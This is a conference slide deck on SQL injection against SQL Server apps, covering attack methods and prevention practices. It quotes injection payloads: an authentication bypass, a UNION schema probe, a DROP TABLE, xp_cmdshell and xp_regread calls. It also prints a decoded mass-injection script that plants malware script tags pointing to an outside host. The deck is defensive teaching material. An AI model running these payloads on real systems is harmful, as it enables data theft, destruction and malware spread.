Understanding and Preventing SQL Injection Attacks

1. Understanding and Preventing SQL Injection Attacks Kevin Kline, Technical Strategy Manager Twitter @kekline Blog at http://KevinEKline.com

2. Your Speaker: Kevin Kline

3. Agenda • What is SQL Injection? • An Attacker’s Approach • SQL Injection Techniques • Preventing SQL Injection • Security Best Practices & Tips • Useful Links and Resources

4. Context and Background

5. What is SQL Injection? • SQL injection occurs when a malicious user controls the criteria of SQL statements and enters values that alter the original intention of the SQL statement

6. Who is Vulnerable? • All SQL database platforms are susceptible • Bypasses firewall protections • Applications that build and send SQL strings are vulnerable • Coding techniques can be exploited • SQL statement itself is hacked • Formatting vulnerabilities

7. Like This… Courtesy of http://xkcd.com/327/

8. string cmdStr = @"SELECT order_id, order_date, qty • FROM Production.Orders • WHERE customer_name LIKE '%" + SearchText.Text • + "%'"; using (SqlConnectionconn = new SqlConnection(connStr)) using (SqlDataAdaptersda = new SqlDataAdapter(cmdStr, conn)) { DataTabledtOrders = new DataTable(); sda.Fill(dtOrders); return dtOrders.DefaultView; } Or This Webcode…

9. Injected Values Can Range from Bad… The “Good” search text: 'Hanso Foundation' The “Curious” search text: 'Widmore Industries' or 1=1 -- ‘ The “Exploratory” search text: …ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --

10. …To Worse The Ugly search text: …ZZZ'; DROP TABLE customer_credit_card -- The REALLY UGLY search text: …ZZZ'; xp_cmdshell(‘FTP …’)

11. Attack Methodology

12. Attackers… • …understand the concept of ‘surface area’ • …use error messages to learn about the structure of the underlying SQL statements and database • …exploit SQL formatting characters (single quotes, comment notation (--), semi-colons, etc)

13. Then Attackers… • …manipulate the SQL statements to learn about the structure of the database and data • …execute SQL statements at will • …use built-in trap doors inside of the DBMS to go to the next level • Upload their own files, even replacing your own • Examine the rest of your infrastructure • Download data • Launch malware and bots

14. SQL Injection Techniques • Probing databases • Bypassing authorization • Executing multiple SQL statements • Calling built-in stored procedures • Exiting to the OS for command-line access • Inserting code to be used by the web app

15. Probing Databases • Web apps usually return connectivity error information – unless you trap the errors! • Hackers can use this information and continually modify parameters to discover: • Table names, column names, data types, row values Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Unclosed quotation mark before the character string ′ having 1 = 1--′. /Project1/Demo.asp, line 14

16. Bypassing Authorization Good Guy, passes these values - UserID: administrator Password: GoodOne SELECT * FROM usersWHERE username = ‘administrator’ AND password = ‘GoodOne’; Bad Guy, passes this value - UserID: ‘ OR 1=1 Password -- SELECT *FROM users WHERE username = ‘’ OR 1=1 – and password =

17. INSERT Statement Injections Good Guy INSERT INTO Authors (auName, EmailAddress) VALUES (‘Julian Isla’, ‘juliani@hotmail.com) Bad Guy INSER INTO Authors (auName, EmailAddress) VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’, badguy@hacker.com’); EXEC xp_regread HKEY… ; Very Bad Guy, uses scripting and text/xml fields

18. Blind SQL Injection • Good apps trap default errors and show their own. Hackers flank this with: • Normal Blind: Get response data from error codes, severity levels, and HTTP status codes • Totally Blind: Gather data through IF…THEN testing, response times, logging, and system functions.

19. Blind Example URL query string: DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- Decoded: DECLARE @S NVARCHAR(4000); SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000)); EXEC(@S);-- SELECT CAST('this could be some bad code' as varbinary(256)) SELECT CAST (0x7468697320636F756C6420626520736F6D652062616420636F6465 as varchar(256))

20. Blind Example Final SQL code being executed (hex value decoded): DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjectsa,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+ ']))+''<script src=http://www.211796*.net/f****p.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

21. SQL Injection as an Attack Vector • Attackers have chosen not to go after data • Targets have been legitimate web sites • Plant links and redirects to malware sites • Use of a blended attack (browser vulnerability) to infect the client computer • Take control of client computers

22. Preventing SQL Injection • Never let an app connect as sysadmin • Least privilege principle • Building secure SQL statements and apps: • Input validation: check for valid input • Don’t check for bad input, you will always miss a case • Use stored procedure to hide application logic – no default error messages; no direct access to tables • Use parameterized input, not string concatenation • Multi layered input checking: application, stored procedure, database schema • Apply the latest security patches!

23. Best Practices, Service Accounts • SQL Server may use the local system account. • Set up a specific Windows login (not Admin!) with appropriate privileges for use by the MSSQLServer system service. • Add a separate Windows login (not Admin!) for SQLServerAgent system service.

24. Best Practices, Security Settings • Enable ‘Non-sysadmin job step proxy account’ on SQL Server Agent. • Set security Audit Level at least to ‘Failure’. Monitor it! • Make sure data and log files are on NTFS with proper ACLs applied. • Restrict system stored proc’s and XP’s to sysadmins-only • Remove guest from all but master and tempdb • Disable anything unneeded and unused! (e.g. SQL Browser service, unneeded network protocols) • Use Windows Authentication where feasible..

25. Best Practices, Security Checks • Check for null and bad passwords frequently • Check for non-SA permissions on all system SPs and XPs • Monitor failed login attempts • Three free scanner utils (HP Scrawlr, URLScan, and Microsoft Source Code Analyzer for SQL Injection (http://www.sqlmag.com/Articles/ArticleID/100720/100720.html?Ad=1) • Microsoft Assessment and Planning (MAP) is a great tool as well, available at http://technet.microsoft.com/en-us/library/bb977556.aspx Tip: Get Quest Discovery Wizard for free!

26. Best Practices, Security Practices • Strong SA password • at least 6 digits long with at least 2 numbers • Add mixed case and symbols for more strength • Use roles for provisioning, not users • More work, user must be assigned to a login and role • Easy to forget when user leaves • Never hardcode passwords • Never write apps for use by the SA account • Change passwords frequently

27. Best Practices, Security for Developers • Do Not Trust User Input Data Validation • Black list vs White list • Run With Least Privilege • Defense in Depth • Fail Intelligently • Test Security • Remove unused stored procedures, views, and UDFs

28. Best Practices, Security for Developers (cont’d) • Use Parameterized Queries or Stored Procedures • Do not use string concatenations to build SQL queries • Use Views and Stored Procedures • Demand security savvy third-party applications!

29. Resources • http://www.sqlsecurity.com – my favorite for broad security and tools on SQL Server • Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-us/library/ms161953.aspx • How-to: Prevent SQL Injection on ASP.Nethttp://msdn.microsoft.com/en-us/library/ms998271.aspx • SQL Injection via CAST: http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html • SQL Injection Cheat Sheet: http://ferruh.mavituna.com

30. Quest Software Swag for SQL Server Free posters, guides, and other goodies. HTTP://www.quest.com/backstage/promotion.aspx March 2010 July 2010 Free DVD Training: HTTP://db-management.com/live

31. Quest Software Resources for SQL Server SQLServerPedia – SQL Server knowledge base, straight from the experts. HTTP://www.SQLServerPedia.com SQL Server Community – Online discussion forums, customization library, and beta programs. HTTP://SQLServer.quest.com SQL Server Backstage – All things SQL Server at Quest including our Pain of the Week Webcasts. HTTP://www.quest.com/BackStage

32. Questions ? Send questions to me at: kevin.kline@quest.com Twitter @kekline Blogs at SQLServerPedia.com, SQLblog.com, SQLMag.com, etc. Rate Me – http://SpeakerRate.com/kekline/ Content at http://KevinEKline.com/Slides/